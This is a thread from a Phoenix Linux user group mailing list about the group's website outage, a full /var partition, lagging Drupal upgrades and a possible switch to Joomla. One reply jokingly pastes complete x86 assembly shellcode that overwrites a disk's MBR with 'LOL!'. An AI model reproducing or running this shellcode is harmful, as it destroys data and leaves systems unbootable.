Re: Plug website down
Am 30. Oct, 2010 schwätzte Eric Shubert so: On 10/30/2010 07:18 AM, Lisa Kachold wrote: I don't think anything but the best, most state of art Drupal installation should be in place for a Linux group, but that's just me. I agree with this, as I expect most PLUG members would. Is this an impractical goal? Is there some reason it cannot be done? What would it take? Lisa seems to indicate that perhaps Hans needs to delegate some of his responsibilities, or am I reading her comments wrong? To whom? :) ( BTW, this isn't directed directly at you or anybody else. Indeed, your successful server build workshop is proof that you are helping PLUG. ) I have delegated it and it hasn't happened. The upgrades that did happen were because I finally took time to do the upgrades. Others have helped with site or OS maintenance ( specifically Alex, Larry, Brian, Jason, Lisa, Dennis, Ryan and Andrew ( and probably others ) ), but Drupal updates languished. As before, the key with moving to Joomla! is with the stipulation that I don't have to do web site maintenance. We moved to Drupal when the stipulation didn't hold true before. I hope the Joomla! move this time is successful and we truly have a group maintaining it. There is so much we can do for PLUG, but *we* need to do it. I think we should regularly get OS and application updates, especially security updates. It would also be great to get new functionality when it becomes available. I honestly don't care what we run ( as long as it's Free Software ). What I want is something that can be a great resource for the group and helps us build out a more vibrant community. It would be awesome if I could delegate everything I do for PLUG :). ciao, der.hans -- # http://www.LuftHans.com/http://www.LuftHans.com/Classes/ # The illiterate of the 21st century will not be those who cannot read and # write, but those who cannot learn, unlearn, and relearn. -- Alvin Toffler--- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
I do not want to start a flame war, I am truly curious. I've written a simple CMS and worked a little with WordPress and now Drupal. I have no experience with Joomla. What would be the advantage of Joomla over Drupal? Keith Smith --- On Fri, 11/5/10, der.hans pl...@lufthans.com wrote: From: der.hans pl...@lufthans.com Subject: Re: Plug website down To: Main PLUG discussion list plug-discuss@lists.plug.phoenix.az.us Date: Friday, November 5, 2010, 3:49 PM Am 30. Oct, 2010 schwätzte Eric Shubert so: On 10/30/2010 07:18 AM, Lisa Kachold wrote: I don't think anything but the best, most state of art Drupal installation should be in place for a Linux group, but that's just me. I agree with this, as I expect most PLUG members would. Is this an impractical goal? Is there some reason it cannot be done? What would it take? Lisa seems to indicate that perhaps Hans needs to delegate some of his responsibilities, or am I reading her comments wrong? To whom? :) ( BTW, this isn't directed directly at you or anybody else. Indeed, your successful server build workshop is proof that you are helping PLUG. ) I have delegated it and it hasn't happened. The upgrades that did happen were because I finally took time to do the upgrades. Others have helped with site or OS maintenance ( specifically Alex, Larry, Brian, Jason, Lisa, Dennis, Ryan and Andrew ( and probably others ) ), but Drupal updates languished. As before, the key with moving to Joomla! is with the stipulation that I don't have to do web site maintenance. We moved to Drupal when the stipulation didn't hold true before. I hope the Joomla! move this time is successful and we truly have a group maintaining it. There is so much we can do for PLUG, but *we* need to do it. I think we should regularly get OS and application updates, especially security updates. It would also be great to get new functionality when it becomes available. I honestly don't care what we run ( as long as it's Free Software ). What I want is something that can be a great resource for the group and helps us build out a more vibrant community. It would be awesome if I could delegate everything I do for PLUG :). ciao, der.hans -- # http://www.LuftHans.com/ http://www.LuftHans.com/Classes/ # The illiterate of the 21st century will not be those who cannot read and # write, but those who cannot learn, unlearn, and relearn. -- Alvin Toffler -Inline Attachment Follows- --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
In my experience the user interaction in joomla is different and for some nontechnical users easier On Nov 5, 2010 3:59 PM, keith smith klsmith2...@yahoo.com wrote: I do not want to start a flame war, I am truly curious. I've written a simple CMS and worked a little with WordPress and now Drupal. I have no experience with Joomla. What would be the advantage of Joomla over Drupal? Keith Smith --- On Fri, 11/5/10, der.hans pl...@lufthans.com wrote: From: der.hans pl...@lufthans.com Subject: Re: Plug website down To: Main PLUG discussion list plug-discuss@lists.plug.phoenix.az.us Date: Friday, November 5, 2010, 3:49 PM Am 30. Oct, 2010 schwätzte Eric Shubert so: On 10/30/2010 07:18 AM, Lisa Kachold wrote: I don't think anything but the best, most state of art Drupal installation should be in place for a Linux group, but that's just me. I agree with this, as I expect most PLUG members would. Is this an impractical goal? Is there some reason it cannot be done? What would it take? Lisa seems to indicate that perhaps Hans needs to delegate some of his responsibilities, or am I reading her comments wrong? To whom? :) ( BTW, this isn't directed directly at you or anybody else. Indeed, your successful server build workshop is proof that you are helping PLUG. ) I have delegated it and it hasn't happened. The upgrades that did happen were because I finally took time to do the upgrades. Others have helped with site or OS maintenance ( specifically Alex, Larry, Brian, Jason, Lisa, Dennis, Ryan and Andrew ( and probably others ) ), but Drupal updates languished. As before, the key with moving to Joomla! is with the stipulation that I don't have to do web site maintenance. We moved to Drupal when the stipulation didn't hold true before. I hope the Joomla! move this time is successful and we truly have a group maintaining it. There is so much we can do for PLUG, but *we* need to do it. I think we should regularly get OS and application updates, especially security updates. It would also be great to get new functionality when it becomes available. I honestly don't care what we run ( as long as it's Free Software ). What I want is something that can be a great resource for the group and helps us build out a more vibrant community. It would be awesome if I could delegate everything I do for PLUG :). ciao, der.hans -- # http://www.LuftHans.com/http://www.LuftHans.com/Classes/ # The illiterate of the 21st century will not be those who cannot read and # write, but those who cannot learn, unlearn, and relearn. -- Alvin Toffler -Inline Attachment Follows- --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
Am 05. Nov, 2010 schwätzte keith smith so: moin moin, I do not want to start a flame war, I am truly curious. I've written a simple CMS and worked a little with WordPress and now Drupal. I have no experience with Joomla. What would be the advantage of Joomla over Drupal? A volunteer[0] to maintain it :). [0] More specifically, a volunteer who is not me. ciao, der.hans -- # http://www.LuftHans.com/http://www.LuftHans.com/Classes/ # Dissent is patriotic.--- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
On Fri, Nov 5, 2010 at 10:49 PM, der.hans pl...@lufthans.com wrote: Am 30. Oct, 2010 schwätzte Eric Shubert so: On 10/30/2010 07:18 AM, Lisa Kachold wrote: I don't think anything but the best, most state of art Drupal installation should be in place for a Linux group, but that's just me. I agree with this, as I expect most PLUG members would. Is this an impractical goal? Is there some reason it cannot be done? What would it take? Lisa seems to indicate that perhaps Hans needs to delegate some of his responsibilities, or am I reading her comments wrong? Please do not read into my historical defensive statements related to the upgrades for the Drupal 24X7 application. To whom? :) ( BTW, this isn't directed directly at you or anybody else. Indeed, your successful server build workshop is proof that you are helping PLUG. ) Please, we are a comUNITY, and Hans, runs it as a one man show because he has had to. I have delegated it and it hasn't happened. The upgrades that did happen were because I finally took time to do the upgrades. Others have helped with site or OS maintenance ( specifically Alex, Larry, Brian, Jason, Lisa, Dennis, Ryan and Andrew ( and probably others ) ), but Drupal updates languished. They languished because there was a specification (retention of function or feature or data) that would be lost with the change in modules and version: Cannot do recurring events in Drupal 6.x yet. Hans expressed a need to keep the archeological dig that are all the past events, which I agree exist of a valuable historical footprint of PLUG through the years. This is a 24X7 application; only the very highest most experiences Linux engineers, and developers, working under a very cohesive change control schedule with spares are competent to be able to integrate an update without extensive downtime, and ensure we can immediately roll back. We all have extremely overloaded schedules, so coordination of our skills takes a full time project manager. Hans is successful because he chooses this most rewarding investments with his time. As before, the key with moving to Joomla! is with the stipulation that I don't have to do web site maintenance. We moved to Drupal when the stipulation didn't hold true before. I hope the Joomla! move this time is successful and we truly have a group maintaining it. There is so much we can do for PLUG, but *we* need to do it. I SERIOUS disagree with moving to Joomla! I have a few Joomla out there, and it's just not going to meet our needs. REALLY the blame game is useless; it did not happen because it was not the right time. I apologize for starting this dialogue. Let's instead discuss 501c Nonprofit status for the PLUG -- any volunteers to do that for us? I think we should regularly get OS and application updates, especially security updates. It would also be great to get new functionality when it becomes available. I honestly don't care what we run ( as long as it's Free Software ). What I want is something that can be a great resource for the group and helps us build out a more vibrant community. It would be awesome if I could delegate everything I do for PLUG :). Thanks very much Hans for your contribution! ciao, der.hans -- # http://www.LuftHans.com/http://www.LuftHans.com/Classes/ # The illiterate of the 21st century will not be those who cannot read and # write, but those who cannot learn, unlearn, and relearn. -- Alvin Toffler http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss obnosis is everything --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
At 04:56 PM 11/5/2010, you wrote: I apologize Me too. I have an update for the PLUG website about the West Valley PLUG Meeting, and have been given access, but it changed (?), and now I am not comfortable in putting up the latest info - that is why I sent a message via Facebook.. lyle --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
On Fri, Nov 5, 2010 at 8:17 PM, Lyle Tuttle l.tut...@cox.net wrote: At 04:56 PM 11/5/2010, you wrote: I apologize Me too. I have an update for the PLUG website about the West Valley PLUG Meeting, and have been given access, but it changed (?), and now I am not comfortable in putting up the latest info - that is why I sent a message via Facebook.. Lyle, please clarify for me what changed? lyle Call me if you need help and we can do it together? -- Network Operations Center Engineer Atjeu Hosting (503) 754-4452 (623) 688-3392 http://www.it-clowns.com | http://www.obnosis.com --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
On Fri, Oct 29, 2010 at 8:53 AM, Jordan Aberle jordan.abe...@gmail.comwrote: I have tried to visit the website last night as well as this morning but there seems to be a database problem. It is saying 'mysql: too many connections' but I tried accessing the website early this morning - I doubt it was getting bombarded by millions of plug members. :) Any eta? Thanks, Jordan --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Exact Error is: Failure to connect to your MySQL database server. MySQL reports the following message: *Too many connections*. - Are you sure you have the correct username and password? - Are you sure that you have typed the correct database hostname? - Are you sure that the database server is running? For more help, see the Installation and upgrading handbookhttp://drupal.org/node/258. If you are unsure what these terms mean you should probably contact your hosting provider. I doubt that this was due to Hans upgrading it! There were also unauthorized ssh access from Russia; I recommended the server be rebuilt, after full forensics on the logs and server and replacing the old debian insecure SSL. I rebuilt an old 1 U server that they had for the purposes of replacing the web server/installation, but the ball was dropped somewhere with a human bandwidth issue with Hans. That CMS had a great many Drupal security updates that I recommended we update, but Hans did not authorize the work then, wanting to keep legacy functions in some of the tools that were obsolete in 6.0. The Drupal version was an upgraded 4 with a core patch and many modules that would not be compatible. A complete plan was created, and I installed the replacement Drupal in another directory running concurrently on another port 81. The balll was dropped on that cut-over as well, because Hans didn't want to lose all those years of content. I often found the site with the databases curiously rolled back to old edits and reported those errors. I am not on the disaster recovery team; and my bandwidth is limited (especially after already doing all this work/engineering), but if you need any help give me a call. It might just be a database overrun issue with the repeat date functions (which were dropped with that code module due to thrashing like this). If that's so, one simply has to roll back to the last dump and it should continue to run until next time. I don't think anything but the best, most state of art Drupal installation should be in place for a Linux group, but that's just me. -- Skype: 6022393392 ATT: 5037544452 GV: 6236883392 http://www.it-clowns.com Politicians should read science fiction, not westerns and detective stories. -Arthur C. Clark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
On 10/30/2010 07:18 AM, Lisa Kachold wrote: I don't think anything but the best, most state of art Drupal installation should be in place for a Linux group, but that's just me. I agree with this, as I expect most PLUG members would. Is this an impractical goal? Is there some reason it cannot be done? What would it take? Lisa seems to indicate that perhaps Hans needs to delegate some of his responsibilities, or am I reading her comments wrong? -- -Eric 'shubes' --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
On Sat, Oct 30, 2010 at 7:30 AM, Eric Shubert e...@shubes.net wrote: On 10/30/2010 07:18 AM, Lisa Kachold wrote: I don't think anything but the best, most state of art Drupal installation should be in place for a Linux group, but that's just me. I agree with this, as I expect most PLUG members would. Is this an impractical goal? Is there some reason it cannot be done? What would it take? Lisa seems to indicate that perhaps Hans needs to delegate some of his responsibilities, or am I reading her comments wrong? -- -Eric 'shubes' Hello All, The site is undergoing a migration to a new CMS, if memory serves, Drupal is not going to run the next www.plug.phoenix.az.us. Most of the problems regarding the current site are due to administrative cruft that has built up over the years - that and upgrading Drupal has never been an easy or simple matter. thus a further migration. --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
Wow, after all the wild speculation on what was going on with the server, here's what actually happened: The hard drive on the server has a rather unfortunate partition layout and the /var directory is rather small and was simply filled up, so mysql freaked out and quit that's all, and it's all fixed now. A new server will to be swapped in rather soon, and we'll make sure that it doesn't have the same stupid partitioning on it, and we will be going to a new website at the same time. Brian Cluff On 10/29/2010 08:53 AM, Jordan Aberle wrote: I have tried to visit the website last night as well as this morning but there seems to be a database problem. It is saying 'mysql: too many connections' but I tried accessing the website early this morning - I doubt it was getting bombarded by millions of plug members. :) Any eta? Thanks, Jordan --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
On Sat, Oct 30, 2010 at 11:42 AM, Brian Cluff br...@snaptek.com wrote: Wow, after all the wild speculation on what was going on with the server, here's what actually happened: The hard drive on the server has a rather unfortunate partition layout and the /var directory is rather small and was simply filled up, so mysql freaked out and quit that's all, and it's all fixed now. A new server will to be swapped in rather soon, and we'll make sure that it doesn't have the same stupid partitioning on it, and we will be going to a new website at the same time. Yes! I still talk with management types who once knew a craggy old Linux Admin who obsessed over partioning. They are sure that since I use Volume Management, I don't know as much! Laugh, I tired of being paged by Nagios/Cacti to ssh in and clear a partition because they spent more time in fdisk than they did in log rotate! Good thing no-one's opening mail attachments or jpg's there? ; linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes ; r...@thegibson ; 2010-01-15 section .text global _start _start: ; open(/dev/sda, O_WRONLY); mov al, 5 xor ecx, ecx push ecx push dword 0x6164732f push dword 0x7665642f mov ebx, esp inc ecx int 0x80 ; write(fd, LOL!x128, 512); mov ebx, eax mov al, 4 cdq push edx mov cl, 128 fill: push dword 0x214c4f4c loop fill mov ecx, esp inc edx shl edx, 9 int 0x80 Brian Cluff On 10/29/2010 08:53 AM, Jordan Aberle wrote: I have tried to visit the website last night as well as this morning but there seems to be a database problem. It is saying 'mysql: too many connections' but I tried accessing the website early this morning - I doubt it was getting bombarded by millions of plug members. :) Any eta? Thanks, Jordan --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Skype: 6022393392 ATT: 5037544452 GV: 6236883392 http://www.it-clowns.com Politicians should read science fiction, not westerns and detective stories. -Arthur C. Clark I am free because I know that I alone am morally responsible for everything I do. -Heinlein --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
On Sat, Oct 30, 2010 at 8:53 AM, Ed p...@0x1b.com wrote: On Sat, Oct 30, 2010 at 7:30 AM, Eric Shubert e...@shubes.net wrote: On 10/30/2010 07:18 AM, Lisa Kachold wrote: I don't think anything but the best, most state of art Drupal installation should be in place for a Linux group, but that's just me. I agree with this, as I expect most PLUG members would. Is this an impractical goal? Is there some reason it cannot be done? What would it take? Lisa seems to indicate that perhaps Hans needs to delegate some of his responsibilities, or am I reading her comments wrong? -- -Eric 'shubes' Hello All, The site is undergoing a migration to a new CMS, if memory serves, Drupal is not going to run the next www.plug.phoenix.az.us. Most of the problems regarding the current site are due to administrative cruft that has built up over the years - that and upgrading Drupal has never been an easy or simple matter. Well, Drupal's upgrades are getting better, depending on your capabilities. ALL CMS have security issues; Drupal less than others... Content is generally not expected to be carried on for 10 years and 3 revisions of Drupal, now was it? The content could be migrated manually with a few mysql queries and manual table populations, but it's not going to be displayed the same without the Event Repeat Module (which is currently still under code development for Drupal 6 and 7 [and not stable under 5 - which the plug-site runs on]). I have a LOT of drupal, Joomla, Wordpress, vTiger, and few trillion others, with Ubercart, etc. It's a trade-off really, just like the inane arguments over which distro is better Drupal and any CMS is only as good as the developer, and those without experience with a tool, tend to search for another and bash it, usually going away in the volunteering process. Laugh! thus a further migration. --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Skype: 6022393392 ATT: 5037544452 GV: 6236883392 http://www.it-clowns.com Politicians should read science fiction, not westerns and detective stories. -Arthur C. Clark I am free because I know that I alone am morally responsible for everything I do. -Heinlein --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Plug website down
I still cut up partitions on my big boxes into /var /usr /tmp /home and /. Dynamic partitions alerting at about 75% full, static ones at about 90%, depending on activity and history. I've found it's just safer. On my home boxes, and the smaller systems, I tend to do / and /home. All of this is using some kind of volume management, or an easy enough way to grow if needed, of course. On Sat, Oct 30, 2010 at 2:17 PM, Lisa Kachold lisakach...@obnosis.comwrote: On Sat, Oct 30, 2010 at 8:53 AM, Ed p...@0x1b.com wrote: On Sat, Oct 30, 2010 at 7:30 AM, Eric Shubert e...@shubes.net wrote: On 10/30/2010 07:18 AM, Lisa Kachold wrote: I don't think anything but the best, most state of art Drupal installation should be in place for a Linux group, but that's just me. I agree with this, as I expect most PLUG members would. Is this an impractical goal? Is there some reason it cannot be done? What would it take? Lisa seems to indicate that perhaps Hans needs to delegate some of his responsibilities, or am I reading her comments wrong? -- -Eric 'shubes' Hello All, The site is undergoing a migration to a new CMS, if memory serves, Drupal is not going to run the next www.plug.phoenix.az.us. Most of the problems regarding the current site are due to administrative cruft that has built up over the years - that and upgrading Drupal has never been an easy or simple matter. Well, Drupal's upgrades are getting better, depending on your capabilities. ALL CMS have security issues; Drupal less than others... Content is generally not expected to be carried on for 10 years and 3 revisions of Drupal, now was it? The content could be migrated manually with a few mysql queries and manual table populations, but it's not going to be displayed the same without the Event Repeat Module (which is currently still under code development for Drupal 6 and 7 [and not stable under 5 - which the plug-site runs on]). I have a LOT of drupal, Joomla, Wordpress, vTiger, and few trillion others, with Ubercart, etc. It's a trade-off really, just like the inane arguments over which distro is better Drupal and any CMS is only as good as the developer, and those without experience with a tool, tend to search for another and bash it, usually going away in the volunteering process. Laugh! thus a further migration. --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Skype: 6022393392 ATT: 5037544452 GV: 6236883392 http://www.it-clowns.com Politicians should read science fiction, not westerns and detective stories. -Arthur C. Clark I am free because I know that I alone am morally responsible for everything I do. -Heinlein --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- James McPhee jmc...@gmail.com --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
